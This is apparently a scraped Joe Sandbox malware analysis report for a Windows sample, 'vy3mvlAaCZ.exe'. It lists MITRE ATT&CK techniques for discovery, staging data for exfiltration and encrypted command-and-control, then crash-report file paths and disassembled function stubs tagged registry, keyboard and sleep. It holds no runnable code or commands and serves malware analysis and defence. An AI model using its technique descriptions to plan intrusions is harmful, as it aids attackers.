Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vy3mvlAaCZ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_vy3mvlAaCZ.exe_6074d93d852c1785169ec71e797e6a243c122_d0e789f3_1326a322\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER97F6.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A1A.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9B44.tmp.xml

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: vy3mvlAaCZ.exePID: 4268, Parent PID: 5352

General

Windows Analysis Report
vy3mvlAaCZ.exe

Function 00931497 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 86
COMMON

Function 0093C090 Relevance: 44.1, APIs: 22, Strings: 3, Instructions: 301
registryCOMMON

Function 0093BA30 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 209
sleepregistrylibraryCOMMON

Function 0093C790 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43
libraryloaderCOMMON

Function 009333B8 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Function 00933387 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Function 00932041 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Function 0093D110 Relevance: 52.9, APIs: 26, Strings: 4, Instructions: 398
registryCOMMON

Function 0093CA30 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 193
sleepregistrylibraryCOMMON

Function 0093D538 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 139
keyboardthreadsleepCOMMON

Function 0093C4E0 Relevance: 21.2, APIs: 14, Instructions: 167
stringCOMMON

Function 0093B6E0 Relevance: 19.7, APIs: 13, Instructions: 201
COMMON

Function 0093BD80 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128
registryCOMMON

Function 0093CD40 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128
registryCOMMON

Function 0093B970 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
windowsleepCOMMON

Function 0093C970 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
windowsleepCOMMON

Function 0093132F Relevance: 12.1, APIs: 8, Instructions: 66
COMMON

Function 0093D050 Relevance: 12.1, APIs: 8, Instructions: 65
windowCOMMON

Function 0093D740 Relevance: 10.7, APIs: 7, Instructions: 152
stringCOMMON

Function 0093D23C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 132
registryCOMMON

Function 00931CAC Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Function 0093BFE0 Relevance: 9.1, APIs: 6, Instructions: 61
windowCOMMON

Function 0093CFD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52
COMMON

Function 0093BF60 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52
COMMON

Function 009313F5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
threadCOMMON

Function 00931D3F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20
libraryloaderCOMMONLIBRARYCODE

Function 009375CA Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Function 009350DD Relevance: 6.1, APIs: 4, Instructions: 67
COMMONLIBRARYCODE

Function 00938E3D Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE